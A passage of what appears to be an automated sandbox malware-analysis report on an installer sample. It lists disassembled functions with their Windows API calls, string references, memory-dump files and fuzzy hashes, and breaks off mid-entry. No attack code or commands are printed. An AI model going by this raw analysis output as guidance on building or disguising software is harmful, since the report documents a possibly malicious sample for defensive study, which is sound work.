WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 009A5B40
GetExitCodeThread.KERNEL32(00000000,?), ref: 009A5B4B
CloseHandle.KERNEL32(00000000), ref: 009A5B6B

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

WaitForSingleObject.KERNEL32(?,000000FF,C7BA013E,?,?,?), ref: 009A5BD4

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateObjectSingleThreadWait$AllocateCloseCodeEventExitHandleHeap
String ID:
API String ID: 3066744267-0
Opcode ID: e99693afe051ea1eddd6ff23c2b44ef7ba5dfefb1bb921c3cfb9c6c5611d0a6d
Instruction ID: 9817d6b992f644dd7b266cfa0e86bd557f2a5a8ab89d2edd8f2158851adf619e
Opcode Fuzzy Hash: e99693afe051ea1eddd6ff23c2b44ef7ba5dfefb1bb921c3cfb9c6c5611d0a6d
Instruction Fuzzy Hash: 35C13975B006159FCB14CF68C984BAEBBF5FF49710F2586A9E815AB391D730E901CBA0

Function 00960F20 Relevance: 9.2, APIs: 6, Instructions: 234COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,C7BA013E,?,?,?,?,?,?,00A7F415,000000FF,?,009855E4,?,?,?), ref: 00960F6B
CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00ABAD74,00000001,?), ref: 0096102A
GetLastError.KERNEL32 ref: 00961038

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath
String ID:
API String ID: 953296794-0
Opcode ID: 621e91f269bf825d529f4661db3226fb5f02b1deab9d931adfb5491c65a4ee45
Instruction ID: 71a9f594eb56c45f3cd405d1d119a5bab9917450571b7e524e29129fa4b6213f
Opcode Fuzzy Hash: 621e91f269bf825d529f4661db3226fb5f02b1deab9d931adfb5491c65a4ee45
Instruction Fuzzy Hash: 3281C131A042099FDB10DFA8C885B9EBBB8FF55320F284269E925E72D1DB749905CB91

Function 0098AD60 Relevance: 9.1, APIs: 6, Instructions: 69threadsynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,009A6800,00AC7444,00000000,?), ref: 0098ADDD
GetLastError.KERNEL32 ref: 0098ADEA
WaitForSingleObject.KERNEL32(00000000,FFFFFFFF), ref: 0098AE13
GetExitCodeThread.KERNEL32(00000000,?), ref: 0098AE2D
TerminateThread.KERNEL32(00000000,00000000), ref: 0098AE45
CloseHandle.KERNEL32(00000000), ref: 0098AE4E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Thread$CloseCodeCreateErrorExitHandleLastObjectSingleTerminateWait
String ID:
API String ID: 1566822279-0
Opcode ID: efdc0b99bf793979a368c941a2ec3a0b24f71fe13501d662e29785d2b49f70b2
Instruction ID: 273516deff742e3aaf1ae33314607e15a9725f0c352e4763f3f68e884b9d0d7b
Opcode Fuzzy Hash: efdc0b99bf793979a368c941a2ec3a0b24f71fe13501d662e29785d2b49f70b2
Instruction Fuzzy Hash: 6631B975900209AFDF10DF94CD09BDEBBB8FB08714F104629E825A62D1DB799A05CFA5

Function 0096B0A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 196COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(80004005,00A87685,C7BA013E,?,?,00000000,?,?,00000000,00A87685,000000FF,?,80004005,C7BA013E,?), ref: 0096B105
GetFileVersionInfoW.KERNELBASE(80004005,?,00000000,000000FF,00000000,?,00000000,?,?,00000000,00A87685,000000FF,?,80004005,C7BA013E,?), ref: 0096B153

Strings

\StringFileInfo\%04x%04x\%s, xrefs: 0096B1BD
\VarFileInfo\Translation, xrefs: 0096B187
ProductName, xrefs: 0096B1B3

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: FileInfoVersion$Size
String ID: ProductName$\StringFileInfo\%04x%04x\%s$\VarFileInfo\Translation
API String ID: 2104008232-2149928195
Opcode ID: a3f85c356423b9cfc1f6f5673f7695f83e340acbfeaf9bb5ea0b2337e6c87f85
Instruction ID: 1f0b506e118486fd2959a229af6d0ab7448fdae36a21f1f1d669aa419d32dd91
Opcode Fuzzy Hash: a3f85c356423b9cfc1f6f5673f7695f83e340acbfeaf9bb5ea0b2337e6c87f85
Instruction Fuzzy Hash: 4761DE71901209EFDB14DFA8C959AAFB7F8FF15314F148129E821E7291EB309D44CBA1

Function 0096AF90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0096AA80: SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,C7BA013E,00000000,00000000,?), ref: 0096AADB

GetFileVersionInfoSizeW.KERNELBASE(?,000000FF,Shlwapi.dll,C7BA013E,00000000,?,?,00000000,00A80B25,000000FF,Shlwapi.dll,0096AF46,?,?,?), ref: 0096AFDD
GetFileVersionInfoW.KERNELBASE(?,?,?,00000000,00000000,?,?), ref: 0096B009
GetLastError.KERNEL32(?,?), ref: 0096B04E
DeleteFileW.KERNEL32(?), ref: 0096B061

Strings

Shlwapi.dll, xrefs: 0096AF90, 0096AFC8

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$InfoVersion$DeleteErrorFolderLastPathSize
String ID: Shlwapi.dll
API String ID: 2825328469-1687636465
Opcode ID: 7ae8b63708b76b46128e1c1fc01c0b4f7dbe6180a0d8fbf093e8b80aebd1e1aa
Instruction ID: 8dac2b196c6a58ebea82b8b924607c8b6bd19e9a19df5c0114a2c44c8abc780c
Opcode Fuzzy Hash: 7ae8b63708b76b46128e1c1fc01c0b4f7dbe6180a0d8fbf093e8b80aebd1e1aa
Instruction Fuzzy Hash: 49315CB1901209EFDB11DFA5C985BEFBBBCEF08310F14412AE815E3291EB359944CBA1

Function 00963D30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,C7BA013E,?,00000000,00000000), ref: 00963D6E
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00963D91
FreeLibrary.KERNEL32(00000000), ref: 00963E0F

Strings

ComCtl32.dll, xrefs: 00963D62
LoadIconMetric, xrefs: 00963D8B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 145871493-764666640
Opcode ID: da989f7c99201169aea7dcce93212d3dd588925af5ce78ef14ed5107ce7a783c
Instruction ID: 89c6ed8934fcab02dd0fe526777095c705831cc6155e8304d64724d1fa7c33ec
Opcode Fuzzy Hash: da989f7c99201169aea7dcce93212d3dd588925af5ce78ef14ed5107ce7a783c
Instruction Fuzzy Hash: 34314FB1A00259ABDF14CF95CC55BAFBBF8EB48754F10412AF915E7281DB758A048B90

Function 0085969B Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 008596B0
GetWindowLongW.USER32(?,000000FC), ref: 008596C5
CallWindowProcW.USER32(?,?,00000082,?,?), ref: 008596DB
GetWindowLongW.USER32(?,000000FC), ref: 008596F5
SetWindowLongW.USER32(?,000000FC,?), ref: 00859705

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Long$CallProc
String ID:
API String ID: 513923721-0
Opcode ID: 5156c01b111453c37f2fbc396b8761aad00a2a21aa8bcadf3dd3a76cffd0ee2c
Instruction ID: 92393be1f86b9011067a456391ce895e504beeb07e911668c03d4e949de3dc5d
Opcode Fuzzy Hash: 5156c01b111453c37f2fbc396b8761aad00a2a21aa8bcadf3dd3a76cffd0ee2c
Instruction Fuzzy Hash: 6B211871204700AFC7219F19DC84817BBF5FF99761B108A2EF8EAC26A0D732E9459F50

Function 009617F0 Relevance: 7.6, APIs: 5, Instructions: 64windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjectsEx.USER32(00000001,00000000,000000FF,000005FF,00000004), ref: 00961811
PeekMessageW.USER32(?,00000000), ref: 00961857
TranslateMessage.USER32(00000000), ref: 00961862
DispatchMessageW.USER32(00000000), ref: 00961869
MsgWaitForMultipleObjectsEx.USER32(00000001,?,000000FF,000005FF,00000004), ref: 0096187B

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Message$MultipleObjectsWait$DispatchPeekTranslate
String ID:
API String ID: 4084795276-0
Opcode ID: badda8a4d7dbe0ebf0a3f616fdeb2050a83f2dabfb20242b8c4d313ffb9a2488
Instruction ID: 0976e878bc7b0e4bdb8c553fca75ee659a612c0510d9eeaa1bd57a762ddf3152
Opcode Fuzzy Hash: badda8a4d7dbe0ebf0a3f616fdeb2050a83f2dabfb20242b8c4d313ffb9a2488
Instruction Fuzzy Hash: A1114C316443067AE620CB519D81FB777ECEB89774F540636FA10E70C0DB74E9858761

Function 0099A010 Relevance: 7.6, APIs: 5, Instructions: 62synchronizationnetworkCOMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(?,?,?,00999442,?,?,?,?,?,00000003,00000000,C7BA013E,00000000), ref: 0099A022
InternetConnectW.WININET(?,?,?,?,?,?,?), ref: 0099A045
GetLastError.KERNEL32(?,?,?,00999442,?,?,?,?,?,00000003,00000000,C7BA013E,00000000), ref: 0099A04F
WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,00999442,?,?,?,?,?,00000003,00000000,C7BA013E,00000000), ref: 0099A085
SetEvent.KERNEL32(?,?,?,?,00999442,?,?,?,?,?,00000003,00000000,C7BA013E,00000000), ref: 0099A0A8

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Event$ConnectErrorInternetLastObjectResetSingleWait
String ID:
API String ID: 3866874665-0
Opcode ID: ee18dcaeccb77caeefb6d7cc2b83679e76d4be89537976bb8a835a4fbec99de1
Instruction ID: de11c46267dd699a3358ff04e0e85807f2045889915d9042e887625715694689
Opcode Fuzzy Hash: ee18dcaeccb77caeefb6d7cc2b83679e76d4be89537976bb8a835a4fbec99de1
Instruction Fuzzy Hash: E311A3312047408EEF319B6DD948B577BE9EFA2324F00482EE08382571D765EC96C791

Function 00982DD0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 327COMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI(?,C7BA013E,?,00000010,?), ref: 0098309A

Part of subcall function 0095BF10: GetCurrentProcess.KERNEL32 ref: 0095BF58
Part of subcall function 0095BF10: OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 0095BF65
Part of subcall function 0095BF10: GetLastError.KERNEL32 ref: 0095BF6F
Part of subcall function 0095BF10: CloseHandle.KERNEL32(00000000), ref: 0095C050

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Strings

\\?\, xrefs: 009830A7
[WindowsVolume], xrefs: 00982E60, 00982E72, 00982E7C
Extraction path set to:, xrefs: 009830ED

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Process$Init_thread_footer$CloseCurrentErrorFindHandleHeapLastOpenPathResourceToken
String ID: Extraction path set to:$[WindowsVolume]$\\?\
API String ID: 699919280-3538578949
Opcode ID: d6618884233df5ab06f17e50dc2e0878b85065e6c19b6ef1b55944c10906bed1
Instruction ID: 26087d86aeb9390c974a89dde2b67a22878f9584bf7d80d8e6a081aba69ef8c4
Opcode Fuzzy Hash: d6618884233df5ab06f17e50dc2e0878b85065e6c19b6ef1b55944c10906bed1
Instruction Fuzzy Hash: 93C1A23090160A9BDB14EF6CC858BAEF7B5FF45714F1482A8E811EB392DB709E45CB91

Function 0097A9E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263COMMON

Download Yara Rule

APIs

Part of subcall function 0097A850: GetTickCount.KERNEL32 ref: 0097A8D4
Part of subcall function 0097A850: __Xtime_get_ticks.LIBCPMT ref: 0097A8DC
Part of subcall function 0097A850: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0097A926

Part of subcall function 0099F2B0: GetUserNameW.ADVAPI32(?,?), ref: 0099F345
Part of subcall function 0099F2B0: GetLastError.KERNEL32 ref: 0099F34B
Part of subcall function 0099F2B0: GetUserNameW.ADVAPI32(?,?), ref: 0099F393
Part of subcall function 0099F2B0: GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 0099F3C9
Part of subcall function 0099F2B0: GetEnvironmentVariableW.KERNEL32(UserDomain,?,00000000,00000000,00000000), ref: 0099F413

__Init_thread_footer.LIBCMT ref: 0097AB11
GetCurrentProcess.KERNEL32(00000008,?,C7BA013E), ref: 0097AD08
OpenProcessToken.ADVAPI32(00000000), ref: 0097AD0F

Strings

\/:*?"<>|, xrefs: 0097AAD1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: EnvironmentNameProcessUserVariable$CountCurrentErrorInit_thread_footerLastOpenTickTokenUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID: \/:*?"<>|
API String ID: 1521599615-3830478854
Opcode ID: a4a8311a8d2e6087b02b819d021cb2c7ca5f87644010b97553d34671cc0d75b2
Instruction ID: 7faa3b9d1e426e6f870384d2015418029fd5108c1d7c81cf0e8513ad8a2c7a24
Opcode Fuzzy Hash: a4a8311a8d2e6087b02b819d021cb2c7ca5f87644010b97553d34671cc0d75b2
Instruction Fuzzy Hash: 55B10271D00208DFDB24DFA8C9457EEBBB5FF54304F248269E419AB291EB346E45CB92

Function 009B3630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,C7BA013E,?,6C4B37E0), ref: 009B3692
WriteFile.KERNEL32(?,?,00000008,00000008,00000000,?,6C4B37E0), ref: 009B3728
CloseHandle.KERNEL32(?,?,6C4B37E0), ref: 009B379C

Strings

7Kl, xrefs: 009B36BD, 009B36CE, 009B36D8, 009B370B, 009B3722, 009B36E1

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: 7Kl
API String ID: 1065093856-1576159710
Opcode ID: cc7afbc5620e92d8d2951af717b88959ceeb00c20c59b20b010c94c841ea70af
Instruction ID: e5f254598bee60dffda2590018d0549189f4d159cd70a32388065e489c88bdf4
Opcode Fuzzy Hash: cc7afbc5620e92d8d2951af717b88959ceeb00c20c59b20b010c94c841ea70af
Instruction Fuzzy Hash: 4B5129B1910219AFDF10DFA4DD89BEEBBB9FF48714F148269E400B7290DB755A04CB64

Function 0097A550 Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,C7BA013E,?,00000010,?,0097DEC0,?), ref: 0097A5B6
SetFilePointer.KERNEL32(00000000,?,00000010,00000000), ref: 0097A5FF
ReadFile.KERNEL32(00000000,C7BA013E,?,?,00000000,00000078,?), ref: 0097A641
CloseHandle.KERNEL32(00000000), ref: 0097A6BA

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$CloseCreateHandlePointerRead
String ID:
API String ID: 4133201480-0
Opcode ID: cc37a7b39c44f80f66d0edf5404275e9dac79d3cc188c79218223bd6b1c6d5f8
Instruction ID: b7b622be7a3636dc969a4e7c72b178f86ef7af1884034726ea141d517ed64919
Opcode Fuzzy Hash: cc37a7b39c44f80f66d0edf5404275e9dac79d3cc188c79218223bd6b1c6d5f8
Instruction Fuzzy Hash: 4B51AE719016099BDB11CBA8CC48BEEFBB8EF85324F288259E415AB2D1D7749D04CBA1

Function 00982270 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00982279
DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A84460,000000FF), ref: 00982288
PostMessageW.USER32(?,00000401,00000000,00000000), ref: 009822A6
IsWindow.USER32(?), ref: 009822B5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$CurrentDestroyMessagePostThread
String ID:
API String ID: 3186974096-0
Opcode ID: 0810a27df4821d45479a84ef29ba7c3330b200723318c656c06961257c2efd75
Instruction ID: 88c3d0315258731382d2380ca05a3a5bbbc5080efd732e027439b0c19c1f24f4
Opcode Fuzzy Hash: 0810a27df4821d45479a84ef29ba7c3330b200723318c656c06961257c2efd75
Instruction Fuzzy Hash: A8F0A7711017509FD774AB28EE08F537BE9AF58B11F10092DE09697A90D7B9F881CB54

Function 00960BA0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 345COMMON

Download Yara Rule

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

PathIsUNCW.SHLWAPI(?,?,?,?,00000000,00000000,00A7F3AF,000000FF), ref: 00960D36

Strings

\\?\UNC\, xrefs: 00960C31, 00960CA9, 00960CAF
\\?\, xrefs: 00960D18, 00960D1E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
